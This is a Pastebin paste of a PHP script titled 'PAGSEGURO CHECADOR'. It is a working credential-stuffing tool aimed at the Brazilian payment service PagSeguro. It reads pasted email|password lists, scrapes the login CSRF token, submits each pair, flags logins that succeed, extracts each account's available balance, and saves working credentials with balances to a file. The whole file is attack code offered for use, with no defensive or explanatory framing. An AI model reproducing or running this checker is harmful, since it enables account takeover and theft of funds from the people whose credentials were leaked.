Advertisement
Guest User

Untitled

a guest
Jul 22nd, 2016
350
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.26 KB | None | 0 0
  1. <?php
  2.  
  3. include '../../dbc.php';
  4.  
  5. page_protect();
  6.  
  7.  
  8.  
  9.  
  10.  
  11. ?>
  12.  
  13. <?php
  14.  
  15. $sock = '';
  16.  
  17. error_reporting(0);
  18.  
  19. function getStr($string,$start,$end){
  20.  
  21. $str = explode($start,$string);
  22.  
  23. $str = explode($end,$str[1]);
  24.  
  25. return $str[0];
  26.  
  27. }
  28.  
  29. class cURL {
  30.  
  31. var $callback = false;
  32.  
  33. function setCallback($func_name) {
  34.  
  35. $this->callback = $func_name;
  36.  
  37. }
  38.  
  39. function doRequest($method, $url) {
  40.  
  41. $ch = curl_init();
  42.  
  43. global $email, $pwd , $token;
  44.  
  45. curl_setopt($ch, CURLOPT_URL, $url);
  46.  
  47. curl_setopt($ch, CURLOPT_HEADER, 1);
  48.  
  49. curl_setopt($ch, CURLOPT_NOBODY, false);
  50.  
  51. curl_setopt($ch, CURLOPT_ENCODING, 'gzip');
  52.  
  53. curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  54.  
  55. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  56.  
  57. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  58.  
  59. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  60.  
  61. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  62.  
  63. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  64.  
  65. curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/pagseguro.txt');
  66.  
  67. curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/pagseguro.txt');
  68.  
  69. curl_setopt($ch, CURLOPT_REFERER, 'https://pagseguro.uol.com.br/login.jhtml');
  70.  
  71. curl_setopt($ch, CURLOPT_TIMEOUT, 200);
  72.  
  73. curl_setopt($ch, CURLOPT_VERBOSE, 1);
  74.  
  75. if ($method == 'POST') {
  76.  
  77. curl_setopt($ch, CURLOPT_POST, 1);
  78.  
  79. curl_setopt($ch, CURLOPT_POSTFIELDS, 'dest=+REDIR%7Chttps%3A%2F%2Fpagseguro.uol.com.br%2Ftransaction%2Fsearch.jhtml&skin=&acsrfToken='.$token.'&user='.$email.'&pass='.$pwd.'');
  80.  
  81. }
  82.  
  83. $data = curl_exec($ch);
  84.  
  85. curl_close($ch);
  86.  
  87. if ($data) {
  88.  
  89. if ($this->callback) {
  90.  
  91. $callback = $this->callback;
  92.  
  93. $this->callback = false;
  94.  
  95. return call_user_func($callback, $data);
  96.  
  97. } else {
  98.  
  99. return $data;
  100.  
  101. }
  102.  
  103. } else {
  104.  
  105. return curl_error($ch);
  106.  
  107. }
  108.  
  109. }
  110.  
  111. function get($url) {
  112.  
  113. return $this->doRequest('GET', $url, 'NULL');
  114.  
  115. }
  116.  
  117. function post($url) {
  118.  
  119. return $this->doRequest('POST', $url);
  120.  
  121. }
  122.  
  123. }
  124.  
  125.  
  126.  
  127. echo '
  128.  
  129. <DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  130.  
  131. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  132.  
  133. <head><link rel="shortcut icon" type="image/x-icon" href="https://stc.pagseguro.uol.com.br/pagseguro/i/favicon.ico"><title>Testador Pagseguro</title></head>
  134.  
  135. <style>
  136.  
  137. body
  138.  
  139. {
  140.  
  141. background-color: #FFD777;
  142.  
  143. font-size: 9pt;
  144.  
  145. font-family:Verdana;
  146.  
  147. line-height:12pt;
  148.  
  149. color: #FFFFFF;
  150.  
  151. }
  152.  
  153. body,td,th {
  154.  
  155. color: #FFFFFF;
  156.  
  157. }
  158.  
  159. h2
  160.  
  161. {
  162.  
  163. color: #FFFFFF;
  164.  
  165. }
  166.  
  167. h1 {
  168.  
  169. padding: 10px 15px;
  170.  
  171. color: red;
  172.  
  173. }
  174.  
  175.  
  176.  
  177. .main-content {
  178.  
  179. width: 70%; height: 380px;margin: auto; background: #FFFFFF; border-radius: 5px 5px 5px 5px; box-shadow: 0 0 3px rgba(0, 0, 0, 0.5); min-height: 380px; position: relative;
  180.  
  181. }
  182.  
  183. textarea, input {
  184.  
  185. border-radius: 5px 5px 5px 5px;
  186.  
  187. }
  188.  
  189. input {
  190.  
  191. height: 14px;width: 30px;text-align: center;o
  192.  
  193. }
  194.  
  195.  
  196.  
  197.  
  198.  
  199. .button {
  200.  
  201.  
  202.  
  203. }
  204.  
  205. .submit-button
  206.  
  207. {
  208.  
  209. background: #FFD777;
  210.  
  211. border:solid 1px #FFD777;
  212.  
  213. border-radius:5px;
  214.  
  215. -moz-border-radius: 5px;
  216.  
  217. -webkit-border-radius: 5px;
  218.  
  219. -moz-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
  220.  
  221. -webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
  222.  
  223. text-shadow: 0 -1px 1px rgba(0,0,0,0.25);
  224.  
  225. border-bottom: 1px solid rgba(0,0,0,0.25);
  226.  
  227. position: relative;
  228.  
  229. color:#FFF;
  230.  
  231. display: inline-block;
  232.  
  233. cursor:pointer;
  234.  
  235. font-size:13px;
  236.  
  237. padding:3px 8px;
  238.  
  239. height: 30px;width: 120px;
  240.  
  241. }
  242.  
  243. .submit-button:hover {
  244.  
  245. background:#82D051;border:solid 1px #86CC50;
  246.  
  247. height: 30px;width: 120px; }
  248.  
  249.  
  250.  
  251. #show {
  252.  
  253. width: 70%;margin: auto;padding: 10px 10px;
  254.  
  255. }
  256.  
  257.  
  258.  
  259. .business{
  260.  
  261. font-weight:bold;
  262.  
  263. color:yellow;
  264.  
  265. }
  266.  
  267. .premier{
  268.  
  269. font-weight:bold;
  270.  
  271. color:#00FF00;
  272.  
  273. }
  274.  
  275. .verified{
  276.  
  277. font-weight:bold;
  278.  
  279. color:#006DB0;
  280.  
  281. }
  282.  
  283. .fieldset{
  284.  
  285. border: 1px dashed #FFFFFF;
  286.  
  287. margin-top: 20px;
  288.  
  289. }
  290.  
  291. .tvmit_live{
  292.  
  293. border: 1px dashed #FFFFFF;
  294.  
  295. color:yellow;
  296.  
  297. font-weight:bold;
  298.  
  299. }
  300.  
  301. .tvmit_die{
  302.  
  303. border: 1px dashed #FFFFFF;
  304.  
  305. color:red;
  306.  
  307. font-weight:bold;
  308.  
  309. }
  310.  
  311. #result{
  312.  
  313. display:none;
  314.  
  315. }
  316.  
  317. </style>
  318.  
  319. <script type="text/javascript">
  320.  
  321. function pushPaypalDie(str){
  322.  
  323. document.getElementById(\'listPaypalDie\').innerHTML += \'<div>\' + str + \'</div>\';
  324.  
  325. }
  326.  
  327. function pushPaypal(str){
  328.  
  329. document.getElementById(\'listPaypal\').innerHTML += \'<div>\' + str + \'</div>\';
  330.  
  331. }
  332.  
  333. function pushWrongFormat(str){
  334.  
  335. document.getElementById(\'listWrongFormat\').innerHTML += \'<div>\' + str + \'</div>\';
  336.  
  337. }
  338.  
  339. </script>
  340.  
  341. </head>
  342.  
  343. <body>
  344.  
  345. <div class="main-content">
  346.  
  347. <center><h1>PAGSEGURO CHECADOR</h1></center>
  348.  
  349. <form method="post">
  350.  
  351. <div align="center"><textarea name="mp" rows="10" style="width:90%">';
  352.  
  353. if (isset($_POST['btn-submit']))
  354.  
  355. echo $_POST['mp'];
  356.  
  357. else
  358.  
  359. echo 'EMAIL|SENHA';
  360.  
  361. ;
  362.  
  363. echo '</textarea><br />
  364.  
  365. SEPARADOR: <input type="text" name="delim" value="';
  366.  
  367.  
  368.  
  369. if (isset($_POST['btn-submit']))
  370.  
  371. echo $_POST['delim'];
  372.  
  373. else
  374.  
  375. echo '|';
  376.  
  377. ;
  378.  
  379. echo '" size="1" /><input type="hidden" name="mail" value="';
  380.  
  381. if (isset($_POST['btn-submit']))
  382.  
  383. echo $_POST['mail'];
  384.  
  385. else
  386.  
  387. echo 0;
  388.  
  389. ;
  390.  
  391. echo '" size="1" /><input type="hidden" name="pwd" value="';
  392.  
  393. if (isset($_POST['btn-submit']))
  394.  
  395. echo $_POST['pwd'];
  396.  
  397. else
  398.  
  399. echo 1;
  400.  
  401. ;
  402.  
  403. echo '" size="1" />&nbsp;<br/><br/>
  404.  
  405.  
  406.  
  407. <input type="submit" class = "submit-button" value="CHECAR" name="btn-submit" /> </br>&nbsp;&nbsp;&nbsp;&nbsp;
  408.  
  409. </div>
  410.  
  411. </form>
  412.  
  413. ';
  414.  
  415. set_time_limit(0);
  416.  
  417. include("use.php");
  418.  
  419. function fetch_value($str, $find_start, $find_end) {
  420.  
  421. $start = strpos($str, $find_start);
  422.  
  423. if ($start === false) {
  424.  
  425. return "";
  426.  
  427. }
  428.  
  429. $length = strlen($find_start);
  430.  
  431. $end = strpos(substr($str, $start + $length), $find_end);
  432.  
  433. return trim(substr($str, $start + $length, $end));
  434.  
  435. }
  436.  
  437. function fetch_value_notrim($str, $find_start, $find_end) {
  438.  
  439. $start = strpos($str, $find_start);
  440.  
  441. if ($start === false) {
  442.  
  443. return "";
  444.  
  445. }
  446.  
  447. $length = strlen($find_start);
  448.  
  449. $end = strpos(substr($str, $start + $length), $find_end);
  450.  
  451. return substr($str, $start + $length, $end);
  452.  
  453. }
  454.  
  455. $dir = dirname(__FILE__);
  456.  
  457. $config['cookie_file'] = $dir . '/cookies/' . md5($_SERVER['REMOTE_ADDR']) . '.txt';
  458.  
  459. if (!file_exists($config['cookie_file'])) {
  460.  
  461. $fp = @fopen($config['cookie_file'], 'w');
  462.  
  463. @fclose($fp);
  464.  
  465. }
  466.  
  467. $zzz = "";
  468.  
  469. $live = array();
  470.  
  471. function get($list) {
  472.  
  473. preg_match_all("/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}/", $list, $socks);
  474.  
  475. return $socks[0];
  476.  
  477. }
  478.  
  479. function delete_cookies() {
  480.  
  481. global $config;
  482.  
  483. $fp = @fopen($config['cookie_file'], 'w');
  484.  
  485. @fclose($fp);
  486.  
  487. }
  488.  
  489. function xflush() {
  490.  
  491. static $output_handler = null;
  492.  
  493. if ($output_handler === null) {
  494.  
  495. $output_handler = @ini_get('output_handler');
  496.  
  497. }
  498.  
  499.  
  500.  
  501. if ($output_handler == 'ob_gzhandler') {
  502.  
  503. return;
  504.  
  505. }
  506.  
  507.  
  508.  
  509. flush();
  510.  
  511. if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) {
  512.  
  513. @ob_flush();
  514.  
  515. } else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) {
  516.  
  517. @ob_end_flush();
  518.  
  519. @ob_start();
  520.  
  521. }
  522.  
  523. }
  524.  
  525. function curl_grab_page($site,$proxy,$proxystatus){
  526.  
  527. $chss = curl_init();
  528.  
  529. curl_setopt($chss, CURLOPT_RETURNTRANSFER, TRUE);
  530.  
  531. if ($proxystatus == 'on') {
  532.  
  533. curl_setopt($chss, CURLOPT_SSL_VERIFYHOST, FALSE);
  534.  
  535. curl_setopt($chss, CURLOPT_HTTPPROXYTUNNEL, TRUE);
  536.  
  537. curl_setopt($chss, CURLOPT_PROXY, $proxy);
  538.  
  539. }
  540.  
  541. curl_setopt($chss, CURLOPT_COOKIEFILE, "cookie.txt");
  542.  
  543. curl_setopt($chss, CURLOPT_URL, $site);
  544.  
  545. return curl_exec($chss);
  546.  
  547. curl_close ($chss);
  548.  
  549.  
  550.  
  551. }
  552.  
  553. function display($str) {
  554.  
  555. echo '<div>' . $str . '</div>';
  556.  
  557. xflush();
  558.  
  559. }
  560.  
  561. //function pushSockDie($str) {
  562.  
  563. // echo '<script type="text/javascript">pushSockDie(\'' . $str . '\');</script>';
  564.  
  565. // xflush();
  566.  
  567. //}
  568.  
  569. function pushPaypalDie($str) {
  570.  
  571. echo '<script type="text/javascript">pushPaypalDie(\'' . $str . '\');</script>';
  572.  
  573. file_put_contents('api/accountsdead.txt', $str . PHP_EOL, FILE_APPEND);
  574.  
  575. xflush();
  576.  
  577. }
  578.  
  579. function pushPaypal($str) {
  580.  
  581. echo '<script type="text/javascript">pushPaypal(\'' . $str . '\');</script>';
  582.  
  583. file_put_contents('api/accounts.txt', $str . PHP_EOL, FILE_APPEND);
  584.  
  585. xflush();
  586.  
  587. }
  588.  
  589. function pushWrongFormat($str) {
  590.  
  591. echo '<script type="text/javascript">pushWrongFormat(\'' . $str . '\');</script>';
  592.  
  593. xflush();
  594.  
  595. }
  596.  
  597.  
  598.  
  599. if (isset($_POST['btn-submit'])) {
  600.  
  601. ;
  602.  
  603. echo '<br/>
  604.  
  605. <br/>
  606.  
  607. <br/>
  608.  
  609. <br/>
  610.  
  611. <br/>
  612.  
  613. <br/>
  614.  
  615. <br/>
  616.  
  617. <legend class="tvmit_live">LIVE:<br/><div id="listPaypal"></div></legend>
  618.  
  619. <br/>
  620.  
  621. <legend class="tvmit_die">DIE:<br/><div id="listPaypalDie"></div></legend>
  622.  
  623. <br/>
  624.  
  625. <legend class="tvmit_die">INVALIDAS: <br/><div id="listWrongFormat"></div></legend>
  626.  
  627.  
  628.  
  629.  
  630.  
  631. ';
  632.  
  633. xflush();
  634.  
  635. $emails = explode("\n", trim($_POST['mp']));
  636.  
  637. $eCount = count($emails);
  638.  
  639. $failed = $live = $uncheck = array();
  640.  
  641. $checked = 0;
  642.  
  643. if (!count($emails)) {
  644.  
  645. continue;
  646.  
  647. }
  648.  
  649. delete_cookies();
  650.  
  651. //$sockClear = isSockClear();
  652.  
  653. //if ($sockClear != 1) {
  654.  
  655. //pushSockDie('[<font color="#FF0000">' . $sock . '</font>]');
  656.  
  657. //continue;
  658.  
  659. //}
  660.  
  661.  
  662.  
  663. foreach ($emails AS $k => $line) {
  664.  
  665. $info = explode($_POST['delim'], $line);
  666.  
  667. $email = trim($info["{$_POST['mail']}"]);
  668.  
  669. $pwd = trim($info["{$_POST['pwd']}"]);
  670.  
  671. if (stripos($email, '@') === false || strlen($pwd) < 2) {
  672.  
  673. unset($emails[$k]);
  674.  
  675. pushWrongFormat($email . ' | ' . $pwd);
  676.  
  677. continue;
  678.  
  679. }
  680.  
  681. //if ($failed[$sock] > 4)
  682.  
  683. // continue;
  684.  
  685. if(file_exists(getcwd().'/pagseguro.txt')) {
  686.  
  687. unlink(getcwd().'/pagseguro.txt');
  688.  
  689. }
  690.  
  691. $a = new cURL();
  692.  
  693. $b = $a->get("https://pagseguro.uol.com.br/login.jhtml");
  694.  
  695. $token = getStr($b,'type="hidden" name="acsrfToken" value="','"');
  696.  
  697.  
  698.  
  699. $c = new cURL();
  700.  
  701. $d = $c->post("https://pagseguro.uol.com.br/login.jhtml");
  702.  
  703. $token;
  704.  
  705.  
  706.  
  707. $checked++;
  708.  
  709.  
  710.  
  711.  
  712.  
  713. if($d){
  714.  
  715.  
  716.  
  717.  
  718.  
  719. if (stripos($d, "EXTRATO") !== false) {
  720.  
  721. $cc = getStr($d,'id="accountBalance" class=" neutral ">','</span>');
  722.  
  723. //$cc1 = getStr($d,'id="accountEscrow" class=" neutral ">','</span>');
  724.  
  725. //$cc2 = getStr($d,'id="accountBlocked" class=" neutral ">','</span>');
  726.  
  727. //$verifica = getStr($d,'<span class="status">','</span>');
  728.  
  729. $cc1 = str_replace(' \r\n','',$cc);
  730.  
  731. $cc2 = str_replace('\n','',$cc1);
  732.  
  733. $cc3 = str_replace('\r\n','',$cc2);
  734.  
  735. $cc4 = str_replace('\r\n','',$cc3);
  736.  
  737. $xyz = "<b style=\"color:green\">Live</b> => <b style=\"color:white\" >$email</b> | <b style=\"color:white\">$pwd<b/> | <b style=\"color:red\">Saldo Disponivel: $cc </b>";
  738.  
  739. $live[] = $xyz;
  740.  
  741. unset($emails[$k]);
  742.  
  743. pushPaypal($xyz);
  744.  
  745.  
  746.  
  747. }
  748.  
  749. else{
  750.  
  751.  
  752.  
  753.  
  754.  
  755. pushPaypalDie("<b style=\"color:red\">Die</b> => $sock | <b style=\"color:Gray11\" >$email<b> | $pwd ");
  756.  
  757.  
  758.  
  759. unset($emails[$k]);
  760.  
  761.  
  762.  
  763.  
  764.  
  765. }
  766.  
  767.  
  768.  
  769. }
  770.  
  771. }
  772.  
  773. }
  774.  
  775. //if (isset($eCount, $live)) {
  776.  
  777. // display("<h3>Total: $eCount - Testado: $checked - Aprovado: " . count($live) . "</h5>");
  778.  
  779. // display(implode("<br />", $live));
  780.  
  781. if (count($emails)) {
  782.  
  783. display("Sem Testar:");
  784.  
  785. display('<textarea cols="80" rows="10">' . implode("\n", $emails) . '</textarea>');
  786.  
  787. }
  788.  
  789.  
  790.  
  791. echo '</body>
  792.  
  793. </html>';
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement